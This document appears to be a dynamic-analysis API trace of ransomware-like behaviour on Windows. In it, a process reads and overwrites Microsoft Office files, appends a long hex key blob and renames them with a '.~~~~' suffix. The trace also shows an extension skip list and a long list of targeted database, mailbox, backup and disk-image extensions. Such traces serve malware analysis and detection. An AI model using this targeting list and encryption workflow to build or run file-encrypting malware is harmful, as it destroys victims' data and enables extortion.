	[0144.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0144.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2898
	[0144.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2898 | out: hHeap=0x300000) returned 1
	[0144.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28ac710
	[0144.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.186] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bb70
	[0144.186] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28ac710 | out: hHeap=0x300000) returned 1
	[0144.186] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0144.187] GetLastError () returned 0x0
	[0144.187] GetLastError () returned 0x0
	[0144.187] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0144.187] GetLastError () returned 0x0
	[0144.187] GetLastError () returned 0x0
	[0144.187] ReadFile (in: hFile=0x10c, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0xd7a, lpOverlapped=0x0) returned 1
	[0144.190] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffff286, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.190] WriteFile (in: hFile=0x10c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0xd7a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0xd7a, lpOverlapped=0x0) returned 1
	[0144.190] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0144.190] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.190] WriteFile (in: hFile=0x10c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.190] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.190] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.190] CloseHandle (hObject=0x10c) returned 1
	[0144.190] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bb70
	[0144.191] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rose.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rose.css.~~~~")) returned 1
	[0144.193] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37bb70 | out: hHeap=0x300000) returned 1
	[0144.193] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0144.193] GetLastError () returned 0x0
	[0144.193] RtlWakeConditionVariable () returned 0x0
	[0144.194] GetCurrentThreadId () returned 0xaf0
	[0144.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".scr") returned 0x0
	[0144.194] lstrlenW (lpString=".cmd") returned 4
	[0144.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".cmd") returned 0x0
	[0144.194] lstrlenW (lpString=".dll") returned 4
	[0144.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".dll") returned 0x0
	[0144.194] lstrlenW (lpString=".bat") returned 4
	[0144.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".bat") returned 0x0
	[0144.194] lstrlenW (lpString=".cpl") returned 4
	[0144.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".cpl") returned 0x0
	[0144.194] lstrlenW (lpString=".sys") returned 4
	[0144.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".sys") returned 0x0
	[0144.194] lstrlenW (lpString=".msc") returned 4
	[0144.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".msc") returned 0x0
	[0144.194] lstrlenW (lpString=".com") returned 4
	[0144.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".com") returned 0x0
	[0144.194] lstrlenW (lpString=".lnk") returned 4
	[0144.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".lnk") returned 0x0
	[0144.194] lstrlenW (lpString=".msp") returned 4
	[0144.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".msp") returned 0x0
	[0144.194] lstrlenW (lpString=".pif") returned 4
	[0144.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".pif") returned 0x0
	[0144.194] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.194] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch="msp\r\n.pif") returned 0x0
	[0144.194] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0144.198] lstrlenW (lpString=".sqb") returned 4
	[0144.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".sqb") returned 0x0
	[0144.198] lstrlenW (lpString=".ost") returned 4
	[0144.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".ost") returned 0x0
	[0144.198] lstrlenW (lpString=".txt") returned 4
	[0144.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".txt") returned 0x0
	[0144.198] lstrlenW (lpString=".mdt") returned 4
	[0144.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".mdt") returned 0x0
	[0144.198] lstrlenW (lpString=".BDB") returned 4
	[0144.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".BDB") returned 0x0
	[0144.198] lstrlenW (lpString=".eql") returned 4
	[0144.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".eql") returned 0x0
	[0144.198] lstrlenW (lpString=".DBF") returned 4
	[0144.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".DBF") returned 0x0
	[0144.198] lstrlenW (lpString=".EQL") returned 4
	[0144.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".EQL") returned 0x0
	[0144.198] lstrlenW (lpString=".FDB") returned 4
	[0144.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".FDB") returned 0x0
	[0144.198] lstrlenW (lpString=".EDB") returned 4
	[0144.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".EDB") returned 0x0
	[0144.198] lstrlenW (lpString=".DACPAC") returned 7
	[0144.198] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".DACPAC") returned 0x0
	[0144.199] lstrlenW (lpString=".VHD") returned 4
	[0144.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".VHD") returned 0x0
	[0144.199] lstrlenW (lpString=".DBV") returned 4
	[0144.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".DBV") returned 0x0
	[0144.199] lstrlenW (lpString=".dacpac") returned 7
	[0144.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".dacpac") returned 0x0
	[0144.199] lstrlenW (lpString=".sdf") returned 4
	[0144.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".sdf") returned 0x0
	[0144.199] lstrlenW (lpString=".accdb") returned 6
	[0144.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".accdb") returned 0x0
	[0144.199] lstrlenW (lpString=".DBX") returned 4
	[0144.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".DBX") returned 0x0
	[0144.199] lstrlenW (lpString=".MDT") returned 4
	[0144.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".MDT") returned 0x0
	[0144.199] lstrlenW (lpString=".SQB") returned 4
	[0144.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".SQB") returned 0x0
	[0144.199] lstrlenW (lpString=".vhd") returned 4
	[0144.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".vhd") returned 0x0
	[0144.199] lstrlenW (lpString=".bac") returned 4
	[0144.199] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".bac") returned 0x0
	[0144.200] lstrlenW (lpString=".mdf") returned 4
	[0144.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".mdf") returned 0x0
	[0144.200] lstrlenW (lpString=".BAK") returned 4
	[0144.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".BAK") returned 0x0
	[0144.200] lstrlenW (lpString=".BAC") returned 4
	[0144.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".BAC") returned 0x0
	[0144.200] lstrlenW (lpString=".dbs") returned 4
	[0144.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".dbs") returned 0x0
	[0144.200] lstrlenW (lpString=".vhdx") returned 5
	[0144.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".vhdx") returned 0x0
	[0144.200] lstrlenW (lpString=".NDF") returned 4
	[0144.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".NDF") returned 0x0
	[0144.200] lstrlenW (lpString=".dat") returned 4
	[0144.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".dat") returned 0x0
	[0144.200] lstrlenW (lpString=".DBS") returned 4
	[0144.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".DBS") returned 0x0
	[0144.200] lstrlenW (lpString=".CKP") returned 4
	[0144.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".CKP") returned 0x0
	[0144.200] lstrlenW (lpString=".edb") returned 4
	[0144.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".edb") returned 0x0
	[0144.200] lstrlenW (lpString=".PST") returned 4
	[0144.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".PST") returned 0x0
	[0144.200] lstrlenW (lpString=".dbf") returned 4
	[0144.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".dbf") returned 0x0
	[0144.200] lstrlenW (lpString=".SQL") returned 4
	[0144.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".SQL") returned 0x0
	[0144.200] lstrlenW (lpString=".pst") returned 4
	[0144.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".pst") returned 0x0
	[0144.200] lstrlenW (lpString=".dbv") returned 4
	[0144.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".dbv") returned 0x0
	[0144.200] lstrlenW (lpString=".SDF") returned 4
	[0144.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".SDF") returned 0x0
	[0144.200] lstrlenW (lpString=".dtxs") returned 5
	[0144.200] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".dtxs") returned 0x0
	[0144.201] lstrlenW (lpString=".db3") returned 4
	[0144.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".db3") returned 0x0
	[0144.201] lstrlenW (lpString=".OST") returned 4
	[0144.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".OST") returned 0x0
	[0144.201] lstrlenW (lpString=".dbx") returned 4
	[0144.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".dbx") returned 0x0
	[0144.201] lstrlenW (lpString=".DB3") returned 4
	[0144.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".DB3") returned 0x0
	[0144.201] lstrlenW (lpString=".DAT") returned 4
	[0144.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".DAT") returned 0x0
	[0144.201] lstrlenW (lpString=".VHDX") returned 5
	[0144.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".VHDX") returned 0x0
	[0144.201] lstrlenW (lpString=".ndf") returned 4
	[0144.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".ndf") returned 0x0
	[0144.201] lstrlenW (lpString=".DB") returned 3
	[0144.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".DB") returned 0x0
	[0144.201] lstrlenW (lpString=".sql") returned 4
	[0144.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".sql") returned 0x0
	[0144.201] lstrlenW (lpString=".MYD") returned 4
	[0144.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".MYD") returned 0x0
	[0144.201] lstrlenW (lpString=".DBT") returned 4
	[0144.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".DBT") returned 0x0
	[0144.201] lstrlenW (lpString=".ACCDB") returned 6
	[0144.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".ACCDB") returned 0x0
	[0144.201] lstrlenW (lpString=".fdb") returned 4
	[0144.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".fdb") returned 0x0
	[0144.201] lstrlenW (lpString=".bak") returned 4
	[0144.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".bak") returned 0x0
	[0144.201] lstrlenW (lpString=".myd") returned 4
	[0144.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".myd") returned 0x0
	[0144.201] lstrlenW (lpString=".DTXS") returned 5
	[0144.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".DTXS") returned 0x0
	[0144.201] lstrlenW (lpString=".ckp") returned 4
	[0144.201] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".ckp") returned 0x0
	[0144.202] lstrlenW (lpString=".dbt") returned 4
	[0144.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".dbt") returned 0x0
	[0144.202] lstrlenW (lpString=".db") returned 3
	[0144.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".db") returned 0x0
	[0144.202] lstrlenW (lpString=".TXT") returned 4
	[0144.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".TXT") returned 0x0
	[0144.202] lstrlenW (lpString=".MDF") returned 4
	[0144.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".MDF") returned 0x0
	[0144.202] lstrlenW (lpString=".bdb") returned 4
	[0144.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".bdb") returned 0x0
	[0144.202] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.202] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0144.202] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.202] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x395630) returned 1
	[0144.203] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.203] CryptReleaseContext (hProv=0x395630, dwFlags=0x0) returned 1
	[0144.203] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0144.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0144.203] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=26419335601) returned 1
	[0144.203] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbf5c0170, dwHighDateTime=0x1d60e1e)) 
	[0144.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0144.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0144.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0144.203] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b28d0
	[0144.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b28d0 | out: hHeap=0x300000) returned 1
	[0144.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28aca58
	[0144.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.204] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bb70
	[0144.204] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28aca58 | out: hHeap=0x300000) returned 1
	[0144.204] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0144.204] GetLastError () returned 0x0
	[0144.204] GetLastError () returned 0x0
	[0144.204] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0144.205] GetLastError () returned 0x0
	[0144.205] GetLastError () returned 0x0
	[0144.205] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0144.209] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.209] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0144.210] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0144.210] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.210] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.212] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.212] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.212] CloseHandle (hObject=0x138) returned 1
	[0144.212] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bb70
	[0144.212] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs.~~~~")) returned 1
	[0144.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37bb70 | out: hHeap=0x300000) returned 1
	[0144.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0144.218] GetLastError () returned 0x0
	[0144.218] RtlWakeConditionVariable () returned 0x0
	[0144.218] GetCurrentThreadId () returned 0xaf0
	[0144.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".scr") returned 0x0
	[0144.218] lstrlenW (lpString=".cmd") returned 4
	[0144.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".cmd") returned 0x0
	[0144.218] lstrlenW (lpString=".dll") returned 4
	[0144.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".dll") returned 0x0
	[0144.218] lstrlenW (lpString=".bat") returned 4
	[0144.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".bat") returned 0x0
	[0144.218] lstrlenW (lpString=".cpl") returned 4
	[0144.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".cpl") returned 0x0
	[0144.218] lstrlenW (lpString=".sys") returned 4
	[0144.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".sys") returned 0x0
	[0144.218] lstrlenW (lpString=".msc") returned 4
	[0144.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC", lpSrch=".msc") returned 0x0
	[0144.218] lstrlenW (lpString=".com") returned 4
